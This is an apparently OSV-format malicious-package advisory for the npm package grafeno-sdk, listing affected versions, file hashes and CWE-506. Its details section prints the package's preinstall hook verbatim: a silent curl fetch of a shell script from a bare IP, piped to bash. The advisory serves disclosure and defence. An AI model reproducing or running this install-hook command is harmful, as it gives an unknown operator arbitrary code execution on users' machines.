MAL-2026-15508

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/grafeno-sdk/MAL-2026-15508.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-15508
Published
2026-08-28T23:02:18Z
Modified
2026-08-29T02:00:45.562055424Z
Summary
Malicious code in grafeno-sdk (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3)

package.json declares a preinstall lifecycle script that runs node -e to invoke child_process.execSync('curl -s 216.126.236.46/x.sh|sh', {shell:'/bin/bash'}), wrapped in a try/catch that silently discards errors. On npm install, this fetches an opaque shell script from a bare IPv4 address (216.126.236.46) over plain HTTP and pipes it directly to bash, giving the operator of that IP arbitrary code execution on the installer's machine. The node-wrapper and error-swallow conceal the fetch from lifecycle output and hide any failure from the installer.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-019065",
            "modified_time": "2026-08-28T23:02:18Z",
            "import_time": "2026-08-28T23:14:35.648027575Z",
            "source": "amazon-inspector",
            "sha256": "665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "id": "IN-MAL-2026-019112",
            "source": "amazon-inspector",
            "import_time": "2026-08-29T01:42:57.888525778Z",
            "modified_time": "2026-08-29T01:42:23Z",
            "sha256": "25e44de3463c06333e90fa0b635cecc25a6f81129fca34f2b07963acb7dd11a8",
            "versions": [
                "1.0.1"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / grafeno-sdk

Package

Name
grafeno-sdk
View open source insights on deps.dev
Purl
pkg:npm/grafeno-sdk

Affected ranges

Affected versions

1.*
1.0.0
1.0.1

Database specific

cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]
indicators 
{
    "package_integrity": [
        {
            "filename": "grafeno-sdk-1.0.0.tgz",
            "hashes": {
                "sha512_sri": "sha512-PmxgVSqAtz3AiHgVtQhyhmHf1GCaTvooeOiJFKGnH/wyWEPpHFkx8hgumPcWvAbmsJJrYBvDzXeCferda4S0vw==",
                "sha1": "43b6bfcfb654d6150a6a004aee55fb34b91b8233"
            }
        }
    ],
    "evidence_files": [
        {
            "path": "package.json",
            "tlsh": "b9e020748d14f6f367c542710e16421776a39d0a0218bd0c774b0128e2df3a35df595b",
            "sha256": "942cc68d5099d9764cb1648c9286abb8cc1e2af6a584398f2b83849ec43a193e"
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/grafeno-sdk/MAL-2026-15508.json"